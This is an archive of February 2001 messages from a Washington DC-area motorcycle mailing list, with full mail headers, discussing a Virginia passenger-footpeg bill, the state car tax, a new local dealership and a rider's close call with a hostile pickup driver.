[209.249.180.164]) by jefferson.patriot.net (8.10.1/8.10.1) with ESMTP id f18CkDH04343; Thu, 8 Feb 2001 07:46:13 -0500 Message-ID: <3A8293CA.B42252A7@patriot.net> Date: Thu, 08 Feb 2001 07:40:42 -0500 From: "William J. Huson" X-Mailer: Mozilla 4.06 [en] (Win98; I) MIME-Version: 1.0 To: "Myles, Gregory S." CC: Perry Coleman , dc-cycles@XXXXXX Subject: Re: Cryor bill References: <42A213AA7052D21187EB080009DC7807049A67DF@s01exc102.fdic.gov> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Yes, we have the same "saving face" crap here in VA - Jimbo "no clue" Gilmore is blatently ignoring the car tax cutoff agreement in an attempt to save his worthless political ass. RE Dr, Gridlock and the fuel for this fire, maybe Cryor would be better off proposing a penelty for any divorcing/divorced party who attempts to use the children involved as a battering ram for to abuse thier ex-spouse. Bill Myles, Gregory S. wrote: > I think one reason the good Delegate is insisting on pursuing this matter > even in the absence of a real need, is because of her aide's publicized > response in the Washington Post to the original Dr. Gridlock column > indicating that she would be doing something about it. She stuck her neck > out (or nose in), and withdrawing the bill now could be viewed any political > opponents she might have as a possible "issue". > From dc-cycles-request Thu Feb 8 10:34:04 2001 Return-Path: Received: from dgesmtp01.wcom.com (dgesmtp01.wcom.com [199.249.16.16]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f18FY2P04212 for ; Thu, 8 Feb 2001 10:34:03 -0500 (EST) Received: from pmismtp01.wcomnet.com ([166.38.62.36]) by firewall.mcit.com (PMDF V5.2-33 #42260) with ESMTP id <0G8G00FN53421N@XXXXXX> for dc-cycles@XXXXXX; Thu, 8 Feb 2001 15:31:14 +0000 (GMT) Received: from pmismtp01.wcomnet.com by pmismtp01.wcomnet.com (PMDF V5.2-33 #42258) with SMTP id <0G8G00B0133PXZ@XXXXXX>; Thu, 08 Feb 2001 15:31:13 +0000 (GMT) Received: from home.com ([166.36.152.226]) by pmismtp01.wcomnet.com (PMDF V5.2-33 #42258) with ESMTP id <0G8G009MO33350@XXXXXX>; Thu, 08 Feb 2001 15:30:39 +0000 (GMT) Date: Thu, 08 Feb 2001 10:30:37 -0500 From: Dale Horstman Subject: Re: Cryor bill To: Kathleen Loerich Cc: "Jay St. Peter" , perrycoleman@XXXXXX, dc-cycles@XXXXXX Message-id: <3A82BB9D.3829D593@home.com> MIME-version: 1.0 X-Mailer: Mozilla 4.7 [en] (WinNT; I) Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit X-Accept-Language: en References: <001501c09162$2fc0f050$c7c809c0@roadrash> <00b401c0916b$5e2b5440$50022c42@twincam> Kathleen Loerich wrote: > My modest proposal for a four-year term is that legislators can repeal laws > for the first three years. If they do a good job, then they can enact > legislation for the remaining year of the term. > > =8^) > > Kathleen Loerich Oooh, I like it! :) Dale -- Dale Horstman (the Horkster) the.horkster@XXXXXX Dale City, Virginia, USA, Earth 1998 Kawasaki Concours - BugSlayer 1999 Kawasaki Concours - Grape Nehi 1982 Suzuki GS850G 1987 Kawasaki Concours - untitled, un-named, previously un-loved New Member, Concours Rescue Society From dc-cycles-request Thu Feb 8 11:18:22 2001 Return-Path: Received: from dgesmtp02.wcom.com (dgesmtp02.wcom.com [199.249.16.17]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f18GIKP04814 for ; Thu, 8 Feb 2001 11:18:21 -0500 (EST) Received: from dgismtp02.wcomnet.com ([166.38.58.142]) by firewall.mcit.com (PMDF V5.2-33 #42261) with ESMTP id <0G8G005DQ59L2W@XXXXXX> for dc-cycles@XXXXXX; Thu, 8 Feb 2001 16:17:45 +0000 (GMT) Received: from dgismtp02.wcomnet.com by dgismtp02.wcomnet.com (PMDF V5.2-33 #42263) with SMTP id <0G8G0060159FK1@XXXXXX> for dc-cycles@XXXXXX; Thu, 08 Feb 2001 16:17:44 +0000 (GMT) Received: from chan3544t ([166.36.153.47]) by dgismtp02.wcomnet.com (PMDF V5.2-33 #42263) with SMTP id <0G8G001NB590F9@XXXXXX> for dc-cycles@XXXXXX; Thu, 08 Feb 2001 16:17:25 +0000 (GMT) Date: Thu, 08 Feb 2001 11:17:15 -0500 From: Robert Verde Subject: RE: dc-cycles digest for 02/07/01 - Cryor bill In-reply-to: <200102080001.f1801Lo20637@dirty.meretrix.com> To: dc-cycles@XXXXXX Reply-to: c-Robert.Verde@XXXXXX Message-id: <002101c091ea$9acc02d0$2f9924a6@wcomnet.com> MIME-version: 1.0 X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0) Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7bit Importance: Normal X-Priority: 3 (Normal) X-MSMail-priority: Normal Perry, Bill, Kathleen, et al; One of the reasons legislators pass bills like this is so they can show a track record of responsible leadership when re-election time rolls around. IMHO, this explains why there have been so many laws passed recently that affect children and teens (bonus for lawmakers, the targets are non-voters...). So Cryor may not actually have any real anti-motorcyclist agenda, but rather may be just trying to show the voters that she is a good representative by addressing (perceived) public safety issues in a responsible manner by introducing bills. If you wish to fight the measure, which as stated seems to be unnecessary legislation, it may be easier to convince Cryor to modify the bill rather than kill it outright. Compromise is the name of the game. Addressing her "need" to initiate bills, while still making sure she hears feedback from responsible members of the community, could also pay dividends in the future when other legislation is pending. Just my two cents worth, as a wannabe Illuminati... Robert Verde _ _ _ _ .-.-.=\-. .-.-.=\-. .-.-.=\-. .-.-.=\-. (_)=='(_) (_)=='(_) (_)=='(_) (_)=='(_) X-Originating-IP: [204.71.174.14] From: "Perry Coleman" To: bhuson@XXXXXX Cc: dc-cycles@XXXXXX Subject: Re: Cryor bill Date: Wed, 07 Feb 2001 16:38:36 -0500 X-OriginalArrivalTime: 07 Feb 2001 21:38:36.0669 (UTC) FILETIME=[53DAAAD0:01C0914E] Bill, For what it's worth, I think the idea is to squelch the creation of a law for what is, in essence, a non-problem. As you pointed out earlier, this is pretty much a common sense issue. There are also laws on the books covering things like reckless endangerment which should allow a police officer to stop someone operating a motorcycle with a passenger (especially a juvenile) who is at risk. Of course, that would probably be considered a judgement call. Having a law stating that the passenger must be able to reach the pegs is pretty straightforward, and reasonably enforceable. It does seem difficult to come up with a reasonable and rationale argument to not require that a passenger be able to reach the pegs. Some are trying, however. On the other hand, do we really need another law because a fraction of a percent, of a fraction of a percent, of the population do not have (or apply) common sense as pertains to carrying a passenger on their motorcycle? Perry p.s. OK, so I lied. I'm still talking about it... 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Sounds like a good shop. They're related to Shenandoah Honda. M-$M-:M-0`M-0M-:M-$M-x,M-8M-8,M-xM-$M-:M-0`M-0M-:M-$M-xM-$M-:M-0`M-0M-:M-$M-x,M-8M-8,M-xM-$M-:M-0`M-0M-:M-$M-xM-$M-:M-0`M-0M-:M-$M-x,M-8M-8,M-xM-$M-:M-0`M-0M-:M-$M-xM-$M-:M-0`M-0M-:M-$M-x,M-8 J. Andrew Culpepper King George, VA (540) 775-3984 '90 EX500 S-TRA# 100 MGNOC# 15488 From dc-cycles-request Thu Feb 8 14:34:57 2001 Return-Path: Received: from web904.mail.yahoo.com (web904.mail.yahoo.com [128.11.23.79]) by dirty.meretrix.com (8.10.0/8.10.0) with SMTP id f18JYtP07842 for ; Thu, 8 Feb 2001 14:34:56 -0500 (EST) Received: (qmail 15468 invoked by uid 60001); 8 Feb 2001 19:34:52 -0000 Message-ID: <20010208193452.15467.qmail@web904.mail.yahoo.com> Received: from [206.229.31.23] by web904.mail.yahoo.com; Thu, 08 Feb 2001 11:34:52 PST Date: Thu, 8 Feb 2001 11:34:52 -0800 (PST) From: Leon Begeman Subject: Re: Cryor bill To: dc-cycles@XXXXXX In-Reply-To: <3A8293CA.B42252A7@patriot.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Counterpoint: I don't care about who proposed it, I don't care who's in the legislature, but if anyone stops the repeal of the car tax because the state budget is only growing by 11% instead of some even rosier forecast, I will vote against them. Nevermind, I always vote for lower taxes anyway. Leon. --- "William J. Huson" wrote: > Yes, we have the same "saving face" crap here in VA > - Jimbo "no clue" Gilmore is > blatently ignoring the car tax cutoff agreement in > an attempt to save his > worthless political ass. RE Dr, Gridlock and the > fuel for this fire, maybe > Cryor would be better off proposing a penelty for > any divorcing/divorced party > who attempts to use the children involved as a > battering ram for to abuse thier > ex-spouse. > > Bill > > Myles, Gregory S. wrote: > > > I think one reason the good Delegate is insisting > on pursuing this matter > > even in the absence of a real need, is because of > her aide's publicized > > response in the Washington Post to the original > Dr. Gridlock column > > indicating that she would be doing something about > it. She stuck her neck > > out (or nose in), and withdrawing the bill now > could be viewed any political > > opponents she might have as a possible "issue". > > > __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ From dc-cycles-request Thu Feb 8 14:55:58 2001 Return-Path: Received: from pmesmtp01.wcom.com (pmesmtp01.wcom.com [199.249.20.1]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f18JtuP08109 for ; Thu, 8 Feb 2001 14:55:57 -0500 (EST) Received: from pmismtp02.wcomnet.com ([166.38.62.37]) by firewall.mcit.com (PMDF V5.2-32 #42256) with ESMTP id <0G8G00FMAFARX6@XXXXXX> for dc-cycles@XXXXXX; Thu, 8 Feb 2001 19:54:27 +0000 (GMT) Received: from pmismtp02.wcomnet.com by pmismtp02.wcomnet.com (PMDF V5.2-33 #42259) with SMTP id <0G8G00E01FAF6D@XXXXXX>; Thu, 08 Feb 2001 19:54:27 +0000 (GMT) Received: from home.com ([166.36.152.226]) by pmismtp02.wcomnet.com (PMDF V5.2-33 #42259) with ESMTP id <0G8G00CFHFADK9@XXXXXX>; Thu, 08 Feb 2001 19:54:14 +0000 (GMT) Date: Thu, 08 Feb 2001 14:54:11 -0500 From: Dale Horstman Subject: Re: new Kawasaki dealer in Woodbridge To: Andrew Culpepper Cc: dc-cycles@XXXXXX Message-id: <3A82F963.4E849C02@home.com> MIME-version: 1.0 X-Mailer: Mozilla 4.7 [en] (WinNT; I) Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit X-Accept-Language: en References: <4.2.2.20010208134724.00bb39e0@nswcdlvaex05> Andrew Culpepper wrote: > > fwiw, I just got off the phone with one of the co-owners of the new > dealership at 3820 PRINCE WILLIAM PARKWAY. Sounds like a good > shop. They're related to Shenandoah Honda. I just happened to stop by there last night (after closing). I think it's called the Motorcycle Factory. Honda/Kawasaki dealer. They've got a 2001 Blue Concours and two (2!) brand spanky new 1800cc Goldwings sitting on the floor, amongst the usual riff raff chain drive stuff. Pretty eclectic floor jewelry for a new shop. And it's only two miles from my house. :) Wishing them all the luck in the world. Horkster -- Dale Horstman (the Horkster) the.horkster@XXXXXX Dale City, Virginia, USA, Earth 1998 Kawasaki Concours - BugSlayer 1999 Kawasaki Concours - Grape Nehi 1982 Suzuki GS850G 1987 Kawasaki Concours - untitled, un-named, previously un-loved New Member, Concours Rescue Society From dc-cycles-request Thu Feb 8 15:01:36 2001 Return-Path: Received: from dgesmtp01.wcom.com (dgesmtp01.wcom.com [199.249.16.16]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f18K1YP08261 for ; Thu, 8 Feb 2001 15:01:34 -0500 (EST) Received: from pmismtp01.wcomnet.com ([166.38.62.36]) by firewall.mcit.com (PMDF V5.2-33 #42260) with ESMTP id <0G8G00157FKWZ5@XXXXXX> for dc-cycles@XXXXXX; Thu, 8 Feb 2001 20:00:32 +0000 (GMT) Received: from pmismtp01.wcomnet.com by pmismtp01.wcomnet.com (PMDF V5.2-33 #42258) with SMTP id <0G8G00K01FKSDX@XXXXXX>; Thu, 08 Feb 2001 20:00:31 +0000 (GMT) Received: from home.com ([166.36.152.226]) by pmismtp01.wcomnet.com (PMDF V5.2-33 #42258) with ESMTP id <0G8G00I6IFKEJE@XXXXXX>; Thu, 08 Feb 2001 20:00:15 +0000 (GMT) Date: Thu, 08 Feb 2001 15:00:12 -0500 From: Dale Horstman Subject: Re: Cryor bill To: Leon Begeman Cc: dc-cycles@XXXXXX Message-id: <3A82FACC.C654D9E3@home.com> MIME-version: 1.0 X-Mailer: Mozilla 4.7 [en] (WinNT; I) Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit X-Accept-Language: en References: <20010208193452.15467.qmail@web904.mail.yahoo.com> Leon Begeman wrote: > > Counterpoint: > > I don't care about who proposed it, I don't care who's > in the legislature, but if anyone stops the repeal of > the car tax because the state budget is only growing > by 11% instead of some even rosier forecast, I will > vote against them. And this is the point *all* of us in VA have to make to our legislators. If they keep the car tax money alive and flowing, it'll be there for their successors to spend, because they are not gonna be around to enjoy it. Simple. Brutal. To the point. Get rid of the car tax or you are history. We will not forget. I gotta start writing all the goofs who are supposed to be representing ME in Richmond.... Horkster -- Dale Horstman (the Horkster) the.horkster@XXXXXX Dale City, Virginia, USA, Earth 1998 Kawasaki Concours - BugSlayer 1999 Kawasaki Concours - Grape Nehi 1982 Suzuki GS850G 1987 Kawasaki Concours - untitled, un-named, previously un-loved New Member, Concours Rescue Society From dc-cycles-request Thu Feb 8 15:52:57 2001 Return-Path: Received: from imo-r12.mx.aol.com (imo-r12.mx.aol.com [152.163.225.66]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f18KqtP08979 for ; Thu, 8 Feb 2001 15:52:56 -0500 (EST) Received: from FGrefe@XXXXXX by imo-r12.mx.aol.com (mail_out_v29.5.) id 2.d7.21c75c5 (4206) for ; Thu, 8 Feb 2001 15:52:44 -0500 (EST) From: FGrefe@XXXXXX Message-ID: Date: Thu, 8 Feb 2001 15:52:43 EST Subject: Re: new Kawasaki dealer in Woodbridge To: dc-cycles@XXXXXX MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Mailer: AOL 5.0 for Windows sub 127 > fwiw, I just got off the phone with one of the co-owners of the new > > dealership at 3820 PRINCE WILLIAM PARKWAY. Sounds like a good > it's called the Motorcycle Factory. Honda/Kawasaki dealer. They've > got a 2001 Blue Concours and two (2!) brand spanky new 1800cc Goldwings Does Powerride still have a Honda franchise or did they lose it to this place? Honda usually keeps a pretty good distance between dealers. Fred Grefe GTS1000 From dc-cycles-request Thu Feb 8 16:06:25 2001 Return-Path: Received: from pmesmtp01.wcom.com (pmesmtp01.wcom.com [199.249.20.1]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f18L6NP09193 for ; Thu, 8 Feb 2001 16:06:24 -0500 (EST) Received: from pmismtp03.wcomnet.com ([166.38.62.38]) by firewall.mcit.com (PMDF V5.2-32 #42256) with ESMTP id <0G8G00745IJVQN@XXXXXX> for dc-cycles@XXXXXX; Thu, 8 Feb 2001 21:04:43 +0000 (GMT) Received: from pmismtp03.wcomnet.com by pmismtp03.wcomnet.com (PMDF V5.2-33 #42258) with SMTP id <0G8G00E01ICOZ3@XXXXXX>; Thu, 08 Feb 2001 21:04:37 +0000 (GMT) Received: from home.com ([166.36.152.226]) by pmismtp03.wcomnet.com (PMDF V5.2-33 #42258) with ESMTP id <0G8G00BK7ICIZQ@XXXXXX>; Thu, 08 Feb 2001 21:00:18 +0000 (GMT) Date: Thu, 08 Feb 2001 16:00:15 -0500 From: Dale Horstman Subject: Re: new Kawasaki dealer in Woodbridge To: FGrefe@XXXXXX Cc: DC Cycles List Message-id: <3A8308DF.3FDC8650@home.com> MIME-version: 1.0 X-Mailer: Mozilla 4.7 [en] (WinNT; I) Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit X-Accept-Language: en References: FGrefe@XXXXXX wrote: > Does Powerride still have a Honda franchise or did they lose it to this > place? Honda usually keeps a pretty good distance between dealers. Good question - I'll have to go check. Maybe this is the beginning of the end for PoserRide Sports? -- Dale Horstman (the Horkster) the.horkster@XXXXXX Dale City, Virginia, USA, Earth 1998 Kawasaki Concours - BugSlayer 1999 Kawasaki Concours - Grape Nehi 1982 Suzuki GS850G 1987 Kawasaki Concours - untitled, un-named, previously un-loved New Member, Concours Rescue Society From dc-cycles-request Thu Feb 8 16:09:20 2001 Return-Path: Received: from smtp6.mindspring.com (smtp6.mindspring.com [207.69.200.110]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f18L9IP09213 for ; Thu, 8 Feb 2001 16:09:19 -0500 (EST) Received: from ix.netcom.com (vna-va25-21.ix.netcom.com [207.223.162.85]) by smtp6.mindspring.com (8.9.3/8.8.5) with ESMTP id QAA15490 for ; Thu, 8 Feb 2001 16:09:14 -0500 (EST) Message-ID: <3A830B4B.A2328266@ix.netcom.com> Date: Thu, 08 Feb 2001 16:10:36 -0500 From: Chuck Pena Reply-To: the_penas@XXXXXX X-Mailer: Mozilla 4.7 [en] (Win95; I) X-Accept-Language: en MIME-Version: 1.0 To: DC Cycles Subject: Re: Car tax WAS Cryor bill References: <20010208193452.15467.qmail@web904.mail.yahoo.com> <3A82FACC.C654D9E3@home.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Just remember that if you're going to cut/eliminate taxes (which I am in favor of doing) -- any tax, not just the car tax -- you also have to reduce government spending since there will be less money flowing to the government coffers. I know, I know ... you don't have to reduce spending -- governments are all too willing to engage in deficit spending. But you should reduce spending accordingly. So it's more than just "tax me less". It's also a question of "which government programs are you willing to live without?" Everyone has their list, I'm sure. But therein lies the problem. Not everyone agrees on what to cut. And since politicians live to be elected and cutting taxes is popular with the electorate, we usually end up cutting taxes but not cutting spending (in fact, we tend to increase spending) and get screwed any which way you look at it. Dale Horstman wrote: > > And this is the point *all* of us in VA have to make > to our legislators. If they keep the car tax money > alive and flowing, it'll be there for their successors > to spend, because they are not gonna be around to > enjoy it. > > Simple. Brutal. To the point. Get rid of the car > tax or you are history. We will not forget. > > I gotta start writing all the goofs who are > supposed to be representing ME in Richmond.... -- "Wherever you go, there you are." -- Buckaroo Banzai visit us at http://www.geocities.com/the_penas From dc-cycles-request Thu Feb 8 16:28:06 2001 Return-Path: Received: from dgesmtp02.wcom.com (dgesmtp02.wcom.com [199.249.16.17]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f18LS4P09493 for ; Thu, 8 Feb 2001 16:28:04 -0500 (EST) Received: from pmismtp02.wcomnet.com ([166.38.62.37]) by firewall.mcit.com (PMDF V5.2-33 #42261) with ESMTP id <0G8G00LA2JJ6EC@XXXXXX> for dc-cycles@XXXXXX; Thu, 8 Feb 2001 21:25:54 +0000 (GMT) Received: from pmismtp02.wcomnet.com by pmismtp02.wcomnet.com (PMDF V5.2-33 #42259) with SMTP id <0G8G00201JIXC5@XXXXXX>; Thu, 08 Feb 2001 21:25:54 +0000 (GMT) Received: from home.com ([166.36.152.226]) by pmismtp02.wcomnet.com (PMDF V5.2-33 #42259) with ESMTP id <0G8G00124JIUSO@XXXXXX>; Thu, 08 Feb 2001 21:25:42 +0000 (GMT) Date: Thu, 08 Feb 2001 16:25:39 -0500 From: Dale Horstman Subject: Re: Car tax WAS Cryor bill To: the_penas@XXXXXX Cc: DC Cycles Message-id: <3A830ED3.F97F5E54@home.com> MIME-version: 1.0 X-Mailer: Mozilla 4.7 [en] (WinNT; I) Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit X-Accept-Language: en References: <20010208193452.15467.qmail@web904.mail.yahoo.com> <3A82FACC.C654D9E3@XXXXXX> <3A830B4B.A2328266@XXXXXX> Chuck Pena wrote: > > Just remember that if you're going to cut/eliminate taxes (which I am in > favor of doing) -- any tax, not just the car tax -- you also have to > reduce government spending since there will be less money flowing to the > government coffers. Of course. Why not just reduce everything across the board by a percent or two? I've got no problem with existing programs finding more efficient ways to get the jobs done with less money. > we usually end up cutting taxes but not cutting spending First things first. Give the twerps less money to play around with. Then tell them to quit spending what they don't have. It shouldn't really have to be this difficult. > and get screwed any which way you look at it. All other things being equal, I'd rather get screwed with more money in my pockets. And that's what it all boils down to. Last thing any of us needs is bigger government with more money to throw around. -- Dale Horstman (the Horkster) the.horkster@XXXXXX Dale City, Virginia, USA, Earth 1998 Kawasaki Concours - BugSlayer 1999 Kawasaki Concours - Grape Nehi 1982 Suzuki GS850G 1987 Kawasaki Concours - untitled, un-named, previously un-loved New Member, Concours Rescue Society From dc-cycles-request Thu Feb 8 16:50:50 2001 Return-Path: Received: from bpexchange.dcscorp.com (bpexchange.dcscorp.com [204.7.239.11]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f18LomP09829 for ; Thu, 8 Feb 2001 16:50:49 -0500 (EST) Received: by bpexchange.dcscorp.com with Internet Mail Service (5.5.2650.21) id ; Thu, 8 Feb 2001 16:50:49 -0500 Message-ID: From: "Smith, Steven" To: "'dc-cycles@XXXXXX'" Subject: Yet Another Close Encounter of the BDC Kind Date: Thu, 8 Feb 2001 16:50:48 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain This still has me weirded out. I was going to forget it, but why let it slide if the information can do someone else some good? Yesterday, on the GW Parkway south of Alexandria, I experienced the subject encounter. I was southbound in the left lane somewhere around Collingwood. A big, red, four-wheel-drive, Ford pickup of recent vintage was northbound in the left lane. As soon as he spotted me the jackass put about half his vehicle in my lane. I went to high beams and laid on the (pathetic) horn. He turned back into his lane about one second before impact. Stuff like this happens occasionally due to simple inattention, so I was ready to brush it off. However, as the aforementioned hybrid barnyard animal passed me, I could see him mouthing naughty words while indicating the number of his AKC registered parents. Dude was around thirty years of physical age, I estimate his mental development stopped at about four, clean-shaven, no glasses, short dark hair, red polo -- basically nondescript. I'm certainly glad there were plenty of witnesses in cages around me to dissuade him from committing the ultimate insult. It did occur to me that I should follow him and call in a road rage incident when he stopped. Unfortunately, traffic and a lack of side roads conspired against the idea. MC Happy (He must have mistaken me for the postman who hurt his mother.) Peoples Republic of Alexandria MRF 1012503, AMA 572649, MARRC 2567, RAT 79802 1998 T595 Daytona, call her "Boudicca" From dc-cycles-request Thu Feb 8 16:53:30 2001 Return-Path: Received: from imo-r14.mx.aol.com (imo-r14.mx.aol.com [152.163.225.68]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f18LrSP09850 for ; Thu, 8 Feb 2001 16:53:28 -0500 (EST) Received: from GOINGRIDING@XXXXXX by imo-r14.mx.aol.com (mail_out_v29.5.) id 2.86.6a564a3 (16790) for ; Thu, 8 Feb 2001 16:53:11 -0500 (EST) From: GOINGRIDING@XXXXXX Message-ID: <86.6a564a3.27b46f46@aol.com> Date: Thu, 8 Feb 2001 16:53:10 EST Subject: Re: Car tax WAS Cryor bill - real life example To: dc-cycles@XXXXXX MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="part1_86.6a564a3.27b46f46_boundary" Content-Disposition: Inline X-Mailer: 6.0 sub 10501 --part1_86.6a564a3.27b46f46_boundary Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit In a message dated 2/8/01 4:29:52 PM Eastern Standard Time, the.horkster@XXXXXX writes: > Of course. Why not just reduce everything across the board by a percent > or two? I've got no problem with existing programs finding more efficient > ways to get the jobs done with less money. > Just a real life example of this. My girlfriend works for a local court that will remain nameless. It consists of both state and county employees. They have several parties a week to honor things like birthdays, retirements, childbirths, etc while on the taxpayers clock (not usually during lunch hours). I would venture to guess 2, sometimes more, parties per week occur during office hours and of course, they are alllll getting paid. I shudder to think how much money is being spent so they can have these parties. Im not a crab but its just a perfect example of wastefulness within the government. --part1_86.6a564a3.27b46f46_boundary Content-Type: text/html; charset="US-ASCII" Content-Transfer-Encoding: 7bit In a message dated 2/8/01 4:29:52 PM Eastern Standard Time,
the.horkster@XXXXXX writes:


Of course.  Why not just reduce everything across the board by a percent
or two?  I've got no problem with existing programs finding more efficient
ways to get the jobs done with less money.


Just a real life example of this.  My girlfriend works for a local court that
will remain nameless.  It consists of both state and county employees.  They
have several parties a week to honor things like birthdays, retirements,
childbirths, etc while on the taxpayers clock (not usually during lunch
hours).  I would venture to guess 2, sometimes more, parties per week occur
during office hours and of course, they are alllll getting paid.  I shudder
to think how much money is being spent so they can have these parties.  Im
not a crab but its just a perfect example of wastefulness within the
government.  
--part1_86.6a564a3.27b46f46_boundary-- From dc-cycles-request Thu Feb 8 17:15:18 2001 Return-Path: Received: from smtp02.mrf.mail.rcn.net (smtp02.mrf.mail.rcn.net [207.172.4.61]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f18MFHP10249 for ; Thu, 8 Feb 2001 17:15:17 -0500 (EST) Received: from 66-44-86-40.s548.tnt1.lnhdc.md.dialup.rcn.com ([66.44.86.40] helo=pawilson) by smtp02.mrf.mail.rcn.net with smtp (Exim 3.16 #5) id 14QzLN-00028H-00 for dc-cycles@XXXXXX; Thu, 08 Feb 2001 17:15:14 -0500 Message-ID: <005501c0921c$9ca6f1a0$bb82fea9@pawilson> From: "Paul Wilson" To: "dc-cycles list" References: Subject: Re: Yet Another Close Encounter of the BDC Kind Date: Thu, 8 Feb 2001 17:14:20 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Yeah, Alexandria does seem to be vying for the title of official capital of bad driving in Northern Va. Washington St. is real fun with the BDCs trying to beat the lights, swerving into adjacent lanes without benefit of head checks due to dumbasses turning left despite the signs prohibiting during the morning and evening rush. The number of fender benders on that street in phenomenal. Our office is right off Washington and we have a front row seat for the Five O'clock Follies (and the nightly Running of the Squids in warmer weather.) I'm a bit puzzled how you could see his facial expression after he passed you, unless he leaned out of the truck to be completely obvious. Anyway I've come across similar jackasses and their close cousins. Be careful out there. Since it happened in Fairfax a plate number would at least yield a nastygram from the cops. Paul in DC 91 CB750 Paul in DC ----- Original Message ----- From: Smith, Steven > animal passed me, I could see him mouthing naughty words while indicating > the number of his AKC registered parents. Dude was around thirty years of > physical age, From dc-cycles-request Thu Feb 8 17:27:06 2001 Return-Path: Received: from jefferson.patriot.net (IDENT:root@XXXXXX [209.249.176.3]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f18MR3P10390 for ; Thu, 8 Feb 2001 17:27:04 -0500 (EST) Received: from patriot.net (pool180-116.patriot.net [209.249.180.116]) by jefferson.patriot.net (8.10.1/8.10.1) with ESMTP id f18MQwH21594; Thu, 8 Feb 2001 17:26:59 -0500 Message-ID: <3A831BE7.BEDCDA7B@patriot.net> Date: Thu, 08 Feb 2001 17:21:27 -0500 From: "William J. Huson" X-Mailer: Mozilla 4.06 [en] (Win98; I) MIME-Version: 1.0 To: GOINGRIDING@XXXXXX CC: dc-cycles@XXXXXX Subject: Re: Car tax WAS Cryor bill - real life example References: <86.6a564a3.27b46f46@aol.com> Content-Type: multipart/alternative; boundary="------------8ED299A2EFA608290CA4E192" --------------8ED299A2EFA608290CA4E192 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Oh, yeah, and such stuff *never* happens in the private sector. GOINGRIDING@XXXXXX wrote: > Just a real life example of this. My girlfriend works for a local > court that > will remain nameless. It consists of both state and county > employees. They > have several parties a week to honor things like birthdays, > retirements, > childbirths, etc while on the taxpayers clock (not usually during > lunch > hours). I would venture to guess 2, sometimes more, parties per week > occur > during office hours and of course, they are alllll getting paid. I > shudder > to think how much money is being spent so they can have these > parties. Im > not a crab but its just a perfect example of wastefulness within the > government. --------------8ED299A2EFA608290CA4E192 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit Oh, yeah, and such stuff *never* happens in the private sector.

GOINGRIDING@XXXXXX wrote:

Just a real life example of this.  My girlfriend works for a local court that
will remain nameless.  It consists of both state and county employees.  They
have several parties a week to honor things like birthdays, retirements,
childbirths, etc while on the taxpayers clock (not usually during lunch
hours).  I would venture to guess 2, sometimes more, parties per week occur
during office hours and of course, they are alllll getting paid.  I shudder
to think how much money is being spent so they can have these parties.  Im
not a crab but its just a perfect example of wastefulness within the
government.
--------------8ED299A2EFA608290CA4E192-- From dc-cycles-request Thu Feb 8 17:27:21 2001 Return-Path: Received: from merctech.com (brickhouse1.iad1.sitesmith.com [63.94.228.10]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f18MRIP10400 for ; Thu, 8 Feb 2001 17:27:19 -0500 (EST) Received: from biber (bergman@localhost) by merctech.com (8.11.1/8.11.1) with ESMTP id f18MR5P09626 for ; Thu, 8 Feb 2001 17:27:05 -0500 X-Mailer: exmh version 2.2 06/23/2000 with nmh-1.0.4 To: dc-cycles@XXXXXX From: bergman@XXXXXX Reply-To: bergman@XXXXXX Subject: Re: Yet Another Close Encounter of the BDC Kind In-Reply-To: Your message of "Thu, 08 Feb 2001 16:50:48 EST." References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 08 Feb 2001 17:27:05 -0500 Message-ID: <9625.981671225@biber> In your message dated: Thu, 08 Feb 2001 16:50:48 EST, your pithy ruminations on were: [SNIP!] => nondescript. I'm certainly glad there were plenty of witnesses in cages => around me to dissuade him from committing the ultimate insult. It did occur => to me that I should follow him and call in a road rage incident when he => stopped. Unfortunately, traffic and a lack of side roads conspired against => the idea. I'm glad you're ok. IMHO, I don't think that following someone who's already demonstrated deliberate, hostile behavior to you is a great idea. When you consider that this person is in a ~4,000lb steel weapon, I'd just warn other people and try not to let their action upset my riding. Of course, if I had happened to get their license plate right then, I'd certainly report them. I know that the cops won't do much for a "road rage" report (they send a letter, right?). However, if you thought you saw a _bottle_ in their vehicle, and the only explanation for their driving that you can think of is that they must have been drinking, then a call to 911 with a description of the vehicle (including the plate, direction, etc.) might produce some more results... Mark => => MC Happy (He must have mistaken me 